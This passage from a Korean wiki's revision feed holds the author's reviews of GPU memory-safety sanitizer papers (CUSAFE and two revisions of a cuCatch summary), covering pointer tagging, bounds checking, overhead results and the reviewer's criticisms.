# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.&lt;br /&gt;
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.&lt;br /&gt;
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.&lt;br /&gt;
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.&lt;br /&gt;
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.&lt;br /&gt;
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.&lt;br /&gt;
&lt;br /&gt;
Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.&lt;br /&gt;
&lt;br /&gt;
Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# &#039;&#039;&#039;GPU Sanitizer&#039;&#039;&#039;에 대한 Motivation이 잘 설명되어 있다.&lt;br /&gt;
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.&lt;br /&gt;
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.&lt;br /&gt;
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.&lt;br /&gt;
&lt;br /&gt;
== [[Criticisms]] ==&lt;br /&gt;
=== Major Concerns ===&lt;br /&gt;
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.&lt;br /&gt;
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.&lt;br /&gt;
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.&lt;br /&gt;
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.&lt;br /&gt;
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Minor Concerns ===&lt;br /&gt;
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.&lt;br /&gt;
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.&lt;br /&gt;
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.&lt;br /&gt;
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.&lt;br /&gt;
# Figure 15에서 지수값으로 (10^1, 10^2, ...) 가로축 성능 보여주는데, log scale사용하지 말고 위에 over하는 것들은 자르는 방식으로 결과 값을 보여줘야 한다.&lt;br /&gt;
# Figure 15 stale reference다. 논문 어디에서도 인용안되고 있다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX Security]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CuCatch:_A_Debugging_Tool_for_Efficiently_Catching_Memory_Safety_Violations_in_CUDA_Applications&amp;diff=7143</id>
		<title>CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CuCatch:_A_Debugging_Tool_for_Efficiently_Catching_Memory_Safety_Violations_in_CUDA_Applications&amp;diff=7143"/>
		<updated>2026-07-08T02:38:36Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=cuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications&lt;br /&gt;
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Aamer Jaleel, Stephen W. Keckler, Mark Stephenson&lt;br /&gt;
|conference=ACM PLDI&lt;br /&gt;
|year=2023&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[CUDA]] 애플리케이션에서 [[GPU]]의 메모리 버그를 감지 하기 위해서 2-level hashing을 이용한 Pointer tagging기법을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
GPU 프로그램도 C/C++ 프로그램처럼 [[Out-of-bounds]] access, [[Use-after-free]], invalid free, double free 같은 memory safety violation을 가질 수 있다. 오히려 CUDA에서는 global, local, shared memory가 서로 다른 주소 체계와 접근 규칙을 갖고, 수천 개 thread가 [[SIMT]] 방식으로 실행되므로 CPU용 sanitizer를 그대로 가져오기 어렵다.&lt;br /&gt;
&lt;br /&gt;
기존 GPU 도구들은 coverage와 overhead 사이에서 한쪽을 포기했다. [[Compute Sanitizer]]는 임의의 GPU binary를 다룰 수 있지만 [[Dynamic binary instrumentation]]에 의존해 매우 느리고, [[GMOD]]나 [[clARMOR]] 같은 compiler 기반 도구는 canary/tripwire 방식이라 non-adjacent overflow나 read-only OOB를 놓치기 쉽다. [[GPUShield]]는 bounds checking을 제안하지만 hardware modification이 필요하므로 commodity GPU에서 바로 쓸 수 없다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
논문은 CUDA의 global/local/shared/generic pointer semantics를 기준으로 bug taxonomy를 나누고, 각 memory space에 맞는 metadata 관리와 check 삽입 방식을 설계한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
Allocation마다 정확한 base, size, temporal tag를 별도 metadata table에 저장하고, pointer가 실제 memory access에 쓰일 때 이 metadata를 빠르게 찾아 bounds와 tag를 검사하는 것이다. 논문은 이를 Shadow Tagged Base &amp;amp; Bounds, 즉 Shadow TBB라고 부른다.&lt;br /&gt;
&lt;br /&gt;
Shadow TBB는 두 경로를 함께 쓴다. 사용 가능한 upper pointer bit에 BST(Base and Size Table) entry index를 넣을 수 있으면 pointer tag만으로 metadata를 직접 찾는다. 이 공간이 부족하거나 unified memory처럼 pointer를 tag할 수 없는 경우에는 pointer value로 shadow map을 lookup해 BST entry를 찾는다.&lt;br /&gt;
&lt;br /&gt;
성능 측면의 핵심은 모든 memory access마다 비싼 metadata lookup을 하지 않는 것이다. cuCatch는 base pointer analysis로 root pointer를 찾아 metadata를 한 번 읽고 register에 유지한 뒤, 파생 pointer들의 access에는 check만 삽입한다. 이 register-level fat pointer 효과를 ABI나 memory layout 변경 없이 얻는 것이 설계의 중심이다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
=== Shadow TBB metadata model ===&lt;br /&gt;
; Memory Allocation&lt;br /&gt;
: cuCatch는 allocation 생성 시 BST entry에 base address, allocation size, random tag를 저장한다. Prototype은 upper pointer bit를 8bit로 가정하며, 처음 2^8-16=240개 device allocation은 pointer upper bits로 BST entry를 직접 가리킨다. 그 이후 allocation이나 unified memory는 32B virtual memory region마다 32bit BST index를 저장하는 2-level shadow map을 사용한다.&lt;br /&gt;
&lt;br /&gt;
; Memory Deallocation&lt;br /&gt;
: Allocation이 해제되면 BST tag와 shadow map entry를 invalid 상태로 바꾸어 dangling pointer access가 temporal error로 드러나게 한다. Direct BST-index pointer에서는 delayed UAF도 대체로 deterministic하게 잡을 수 있지만, shadow-map 경로에서는 4bit random tag가 일치하면 놓칠 수 있어 probabilistic detection이 된다.&lt;br /&gt;
&lt;br /&gt;
=== Compiler backend instrumentation ===&lt;br /&gt;
; Compiler instrumentation&lt;br /&gt;
: cuCatch는 CUDA front-end가 만든 [[PTX]] 이후 backend compiler에 instrumentation pass를 추가한다. 분석 단계에서는 memory instruction에서 pointer arithmetic을 거꾸로 따라가며 reaching base pointer를 찾는다. 변환 단계에서는 base pointer에 대해 READMETADATA를 삽입하고, 실제 load/store/atomic 앞에는 OOBCHECK, TAGCHECK, SAFETYCHECK 같은 check를 넣는다.&lt;br /&gt;
&lt;br /&gt;
: 이 위치를 선택한 이유는 여러 GPU 언어가 PTX로 내려올 수 있고, backend optimization과 scheduling의 효과를 유지할 수 있기 때문이다. 반대로 frontend semantic 정보 일부가 사라져 local buffer 내부 구조 같은 세밀한 bounds를 알기 어렵다는 tradeoff가 생긴다.&lt;br /&gt;
&lt;br /&gt;
=== Memory-space-specific protection ===&lt;br /&gt;
; Global memory&lt;br /&gt;
: Global memory는 driver가 cudaMalloc/cudaFree 계열 API를 interpose하여 BST와 shadow map을 관리한다. Unified memory는 CPU에서도 pointer가 유효해야 하므로, Top Byte Ignore가 없는 Intel CPU 환경에서는 pointer tag를 쓰지 않고 shadow map만 사용한다&amp;lt;ref&amp;gt;결국 Compute Sanitizer를 쓴다는 말인가? 논문에서 이해 안되는 부분중 하나였음, 그리고 이렇게 하면 Pointer tagging대비 생기는 Limitation은 무었인가?&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
; Shared memory&lt;br /&gt;
: Shared memory는 kernel 실행 중 free되지 않으므로 temporal tag가 필요 없다. Static shared buffer는 compiler가 알 수 있는 base/bounds로 check하고, dynamic shared memory는 kernel launch parameter로 만들어지는 하나의 region으로 다룬다.&lt;br /&gt;
&lt;br /&gt;
; Local memory&lt;br /&gt;
: Local memory는 thread-private stack 성격을 가지므로 per-thread 31-entry BST를 local memory에 둔다. Pointer upper 8bit 중 5bit는 BST index, 3bit는 temporal tag로 쓰며, function frame entry/exit 시 push/pop 방식으로 stack frame metadata를 관리한다.&lt;br /&gt;
&lt;br /&gt;
; Generic pointer&lt;br /&gt;
: Generic pointer는 실제로 shared/local/global 중 어디를 가리키는지 runtime check로 분기한 뒤 각 memory space에 맞는 check를 수행한다.&lt;br /&gt;
&lt;br /&gt;
===  Redundant check optimization ===&lt;br /&gt;
: cuCatch는 같은 allocation에 대한 straight-line access의 min/max address만 검사하거나, loop-invariant bounds check를 loop 밖으로 hoist하거나, loop iteration 전체의 min/max access 범위를 한 번에 검사한다. Global memory에서는 temporal error를 놓치지 않도록 제거된 OOBCHECK 자리에 TAGCHECK를 남기는 식으로 spatial optimization과 temporal checking을 분리한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
Coverage 평가는 GPU memory safety bug를 담은 56개 CUDA test suite로 수행했다. cuCatch는 전체 56개 중 71.4%를 detect했으며, baseline 7.1%, Compute Sanitizer 35.7%, GMOD 14.2%, GPUShield 42.8%보다 높았다.&lt;br /&gt;
&lt;br /&gt;
cuCatch Shadow TBB configuration의 geometric mean runtime slowdown은 1.19x, 즉 19%였고, upper pointer bit를 쓰지 않고 항상 shadow map을 거치는 Shadow BB-only configuration은 1.25x slowdown을 보였다. NVIDIA Compute Sanitizer memcheck와 비교하면 cuCatch가 평균 63x 빠르다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 고정 비용과 scaling 비용으로 나뉜다. 고정 비용은 BST 32MB와 first-level shadow map 128MB이고, scaling 비용은 필요할 때 할당되는 second-level shadow map으로 32B memory region마다 32bit entry, 즉 12.5% 수준이다. 논문은 realistic-size application에서는 전체 memory overhead가 20% 미만으로 내려간다고 보고한다.&lt;br /&gt;
&lt;br /&gt;
Optimization의 평균 효과는 전체 workload 기준 4% 성능 개선이다. 특히 shared memory strided access가 많은 app5에서는 bounds check 제거가 instruction 수와 scheduling pressure를 줄여 80% 성능 개선을 만들었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# GPU memory safety error를 global, unified, shared, local memory space와 spatial/temporal category로 나누어 정리하고, CUDA 특유의 bug coverage 문제를 구체화했다.&lt;br /&gt;
# Shadow TBB를 제안해 tagged base &amp;amp; bounds의 빠른 metadata lookup과 shadow-map 기반 scalability를 결합했다.&lt;br /&gt;
# Backend compiler instrumentation, base pointer analysis, CUDA driver interposition, memory-space별 metadata structure를 묶어 commodity NVIDIA GPU에서 실행 가능한 debugging tool로 구현했다.&lt;br /&gt;
# 56개 error-detection benchmark와 176개 performance workload를 통해 기존 GPU memory safety tool 대비 더 높은 coverage와 낮은 runtime overhead를 제시했다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
우선 논문을 읽기가 너무 힘들었다. Implementation이 Convention과는 다르게 Design이 나왔으며, 불필요하게 과장된 표현들 + 필요 없는 정의들이 논문을 따라가는 흐름을 방해하였다. 특히 논문이 Top-down방식이 아니라 Bottom-up방식으로 쓰여진 부분들도 많았으며, 뒤를 읽어야 앞을 이해할 수 있는 표현들도 많아서 Writing quality가 조금 떨어지는 느낌이 들었다. 또한 논문에서 제시한 방법들은 Sanitizer 방법론에서 많이 Discussion된 부분들이다. 또한 Globa, Shared, Local, Generic으로 나뉘는 것은 좋은데, 각각 어떻게 막고 있는지 표라도 있었으면 더 쉽게 이해할 수 있었을 것 같다. &lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety debugging을 &amp;quot;CPU sanitizer를 GPU에 포팅하는 문제&amp;quot;가 아니라, CUDA memory space와 compiler/runtime boundary에 맞춘 metadata 설계 문제로 보게 만든다. cuCatch는 Shadow TBB, base pointer analysis, backend instrumentation, driver support를 결합해 높은 bug detection coverage와 평균 19% runtime overhead를 동시에 달성할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: ACM PLDI]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CuCatch:_A_Debugging_Tool_for_Efficiently_Catching_Memory_Safety_Violations_in_CUDA_Applications&amp;diff=7142</id>
		<title>CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CuCatch:_A_Debugging_Tool_for_Efficiently_Catching_Memory_Safety_Violations_in_CUDA_Applications&amp;diff=7142"/>
		<updated>2026-07-07T10:48:21Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=cuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications&lt;br /&gt;
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Aamer Jaleel, Stephen W. Keckler, Mark Stephenson&lt;br /&gt;
|conference=ACM PLDI&lt;br /&gt;
|year=2023&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[CUDA]] 애플리케이션에서 [[GPU]]의 여러 메모리 공간과 대규모 병렬 실행 때문에 [[Memory safety]] 검사가 왜 어려운지 설명하고, Shadow Tagged Base &amp;amp; Bounds와 컴파일러 계측을 결합한 cuCatch로 이를 낮은 오버헤드에 디버깅하는 방법을 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
GPU 프로그램도 C/C++ 프로그램처럼 [[Out-of-bounds]] access, [[Use-after-free]], invalid free, double free 같은 memory safety violation을 가질 수 있다. 오히려 CUDA에서는 global, local, shared memory가 서로 다른 주소 체계와 접근 규칙을 갖고, 수천 개 thread가 [[SIMT]] 방식으로 실행되므로 CPU용 sanitizer를 그대로 가져오기 어렵다.&lt;br /&gt;
&lt;br /&gt;
기존 GPU 도구들은 coverage와 overhead 사이에서 한쪽을 포기했다. [[Compute Sanitizer]]는 임의의 GPU binary를 다룰 수 있지만 [[Dynamic binary instrumentation]]에 의존해 매우 느리고, [[GMOD]]나 [[clARMOR]] 같은 compiler 기반 도구는 canary/tripwire 방식이라 non-adjacent overflow나 read-only OOB를 놓치기 쉽다. [[GPUShield]]는 bounds checking을 제안하지만 hardware modification이 필요하므로 commodity GPU에서 바로 쓸 수 없다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
논문은 CUDA의 global/local/shared/generic pointer semantics를 기준으로 bug taxonomy를 나누고, 각 memory space에 맞는 metadata 관리와 check 삽입 방식을 설계한다.&lt;br /&gt;
&lt;br /&gt;
또한 cuCatch는 GPU memory safety 도구의 설계 축을 명확히 보여준다. Canary/tripwire는 overhead는 낮지만 coverage가 낮고, DBI는 coverage와 compatibility는 좋지만 overhead가 크며, hardware proposal은 deployment가 어렵다. cuCatch는 commodity GPU에서 compiler instrumentation과 driver support를 결합해 이 중간 지점을 공략한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 allocation마다 정확한 base, size, temporal tag를 별도 metadata table에 저장하고, pointer가 실제 memory access에 쓰일 때 이 metadata를 빠르게 찾아 bounds와 tag를 검사하는 것이다. 논문은 이를 Shadow Tagged Base &amp;amp; Bounds, 즉 Shadow TBB라고 부른다.&lt;br /&gt;
&lt;br /&gt;
Shadow TBB는 두 경로를 함께 쓴다. 사용 가능한 upper pointer bit에 BST(Base and Size Table) entry index를 넣을 수 있으면 pointer tag만으로 metadata를 직접 찾는다. 이 공간이 부족하거나 unified memory처럼 pointer를 tag할 수 없는 경우에는 pointer value로 shadow map을 lookup해 BST entry를 찾는다. 이 때문에 pure tagged base &amp;amp; bounds보다 allocation 수에 덜 민감하고, SoftBound처럼 pointer의 저장 위치를 추적해야 하는 방식보다 pointer copy에 덜 취약하다.&lt;br /&gt;
&lt;br /&gt;
성능 측면의 핵심은 모든 memory access마다 비싼 metadata lookup을 하지 않는 것이다. cuCatch는 base pointer analysis로 root pointer를 찾아 metadata를 한 번 읽고 register에 유지한 뒤, 파생 pointer들의 access에는 check만 삽입한다. 이 register-level fat pointer 효과를 ABI나 memory layout 변경 없이 얻는 것이 설계의 중심이다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
=== Shadow TBB metadata model ===&lt;br /&gt;
;&lt;br /&gt;
: cuCatch는 allocation 생성 시 BST entry에 base address, allocation size, random tag를 저장한다. Prototype은 upper pointer bit를 8bit로 가정하며, 처음 2^8-16=240개 device allocation은 pointer upper bits로 BST entry를 직접 가리킨다. 그 이후 allocation이나 unified memory는 32B virtual memory region마다 32bit BST index를 저장하는 2-level shadow map을 사용한다.&lt;br /&gt;
&lt;br /&gt;
;&lt;br /&gt;
: Allocation이 해제되면 BST tag와 shadow map entry를 invalid 상태로 바꾸어 dangling pointer access가 temporal error로 드러나게 한다. Direct BST-index pointer에서는 delayed UAF도 대체로 deterministic하게 잡을 수 있지만, shadow-map 경로에서는 4bit random tag가 일치하면 놓칠 수 있어 probabilistic detection이 된다.&lt;br /&gt;
&lt;br /&gt;
=== Compiler backend instrumentation ===&lt;br /&gt;
;&lt;br /&gt;
: cuCatch는 CUDA front-end가 만든 [[PTX]] 이후 backend compiler에 instrumentation pass를 추가한다. 분석 단계에서는 memory instruction에서 pointer arithmetic을 거꾸로 따라가며 reaching base pointer를 찾는다. 변환 단계에서는 base pointer에 대해 READMETADATA를 삽입하고, 실제 load/store/atomic 앞에는 OOBCHECK, TAGCHECK, SAFETYCHECK 같은 check를 넣는다.&lt;br /&gt;
&lt;br /&gt;
;&lt;br /&gt;
: 이 위치를 선택한 이유는 여러 GPU 언어가 PTX로 내려올 수 있고, backend optimization과 scheduling의 효과를 유지할 수 있기 때문이다. 반대로 frontend semantic 정보 일부가 사라져 local buffer 내부 구조 같은 세밀한 bounds를 알기 어렵다는 tradeoff가 생긴다.&lt;br /&gt;
&lt;br /&gt;
=== Memory-space-specific protection ===&lt;br /&gt;
;&lt;br /&gt;
: Global memory는 driver가 cudaMalloc/cudaFree 계열 API를 interpose하여 BST와 shadow map을 관리한다. Unified memory는 CPU에서도 pointer가 유효해야 하므로, Top Byte Ignore가 없는 Intel CPU 환경에서는 pointer tag를 쓰지 않고 shadow map만 사용한다.&lt;br /&gt;
&lt;br /&gt;
;&lt;br /&gt;
: Shared memory는 kernel 실행 중 free되지 않으므로 temporal tag가 필요 없다. Static shared buffer는 compiler가 알 수 있는 base/bounds로 check하고, dynamic shared memory는 kernel launch parameter로 만들어지는 하나의 region으로 다룬다.&lt;br /&gt;
&lt;br /&gt;
;&lt;br /&gt;
: Local memory는 thread-private stack 성격을 가지므로 per-thread 31-entry BST를 local memory에 둔다. Pointer upper 8bit 중 5bit는 BST index, 3bit는 temporal tag로 쓰며, function frame entry/exit 시 push/pop 방식으로 stack frame metadata를 관리한다.&lt;br /&gt;
&lt;br /&gt;
;&lt;br /&gt;
: Generic pointer는 실제로 shared/local/global 중 어디를 가리키는지 runtime check로 분기한 뒤 각 memory space에 맞는 check를 수행한다.&lt;br /&gt;
&lt;br /&gt;
===  Redundant check optimization ===&lt;br /&gt;
; &lt;br /&gt;
: cuCatch는 같은 allocation에 대한 straight-line access의 min/max address만 검사하거나, loop-invariant bounds check를 loop 밖으로 hoist하거나, loop iteration 전체의 min/max access 범위를 한 번에 검사한다. Global memory에서는 temporal error를 놓치지 않도록 제거된 OOBCHECK 자리에 TAGCHECK를 남기는 식으로 spatial optimization과 temporal checking을 분리한다.&lt;br /&gt;
&lt;br /&gt;
=== Error attribution ===&lt;br /&gt;
;&lt;br /&gt;
: Error 처리 방식은 trap으로 프로그램을 종료해 debugger와 함께 쓰는 mode와, offending address, 허용 bounds, PTX line information을 출력하는 standalone reporting mode가 있다. Reporting mode는 추가 register pressure를 만들 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
Coverage 평가는 GPU memory safety bug를 담은 56개 CUDA test suite로 수행했다. cuCatch는 전체 56개 중 71.4%를 detect했으며, baseline 7.1%, Compute Sanitizer 35.7%, GMOD 14.2%, GPUShield 42.8%보다 높았다.&lt;br /&gt;
&lt;br /&gt;
Spatial safety에서는 global memory OOB 8/8을 잡았고, local memory OOB는 12/16, shared memory OOB는 10/12를 잡았다. 실패한 local memory case는 같은 stack frame 내부의 adjacent/non-adjacent OOB read/write이고, shared memory 실패 case는 dynamically allocated shared pool에서 여러 buffer를 나눈 경우다. 모든 도구가 struct 내부 field 사이의 intra-allocation OOB 8개는 잡지 못했다.&lt;br /&gt;
&lt;br /&gt;
Temporal safety에서는 immediate UAF와 immediate UAS를 deterministic하게 잡는다. Table 2 기준으로 UAF는 2/4, UAS는 4/4를 detect했다. Delayed temporal error는 pointer tagging 여부와 random tag 충돌 여부에 따라 probabilistic해지며, tag 없는 unified memory에서는 delayed temporal error를 놓칠 수 있다.&lt;br /&gt;
&lt;br /&gt;
성능 평가는 176개 workload에서 수행했다. 여기에는 87개 standalone CUDA kernel, PolyBench-ACC, 대부분의 CUDA Samples가 포함된다. cuCatch Shadow TBB configuration의 geometric mean runtime slowdown은 1.19x, 즉 19%였고, upper pointer bit를 쓰지 않고 항상 shadow map을 거치는 Shadow BB-only configuration은 1.25x slowdown을 보였다. NVIDIA Compute Sanitizer memcheck와 비교하면 cuCatch가 평균 63x 빠르다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 고정 비용과 scaling 비용으로 나뉜다. 고정 비용은 BST 32MB와 first-level shadow map 128MB이고, scaling 비용은 필요할 때 할당되는 second-level shadow map으로 32B memory region마다 32bit entry, 즉 12.5% 수준이다. 논문은 realistic-size application에서는 전체 memory overhead가 20% 미만으로 내려간다고 보고한다.&lt;br /&gt;
&lt;br /&gt;
Optimization의 평균 효과는 전체 workload 기준 4% 성능 개선이다. 특히 shared memory strided access가 많은 app5에서는 bounds check 제거가 instruction 수와 scheduling pressure를 줄여 80% 성능 개선을 만들었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# GPU memory safety error를 global, unified, shared, local memory space와 spatial/temporal category로 나누어 정리하고, CUDA 특유의 bug coverage 문제를 구체화했다.&lt;br /&gt;
# Shadow TBB를 제안해 tagged base &amp;amp; bounds의 빠른 metadata lookup과 shadow-map 기반 scalability를 결합했다.&lt;br /&gt;
# Backend compiler instrumentation, base pointer analysis, CUDA driver interposition, memory-space별 metadata structure를 묶어 commodity NVIDIA GPU에서 실행 가능한 debugging tool로 구현했다.&lt;br /&gt;
# 56개 error-detection benchmark와 176개 performance workload를 통해 기존 GPU memory safety tool 대비 더 높은 coverage와 낮은 runtime overhead를 제시했다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
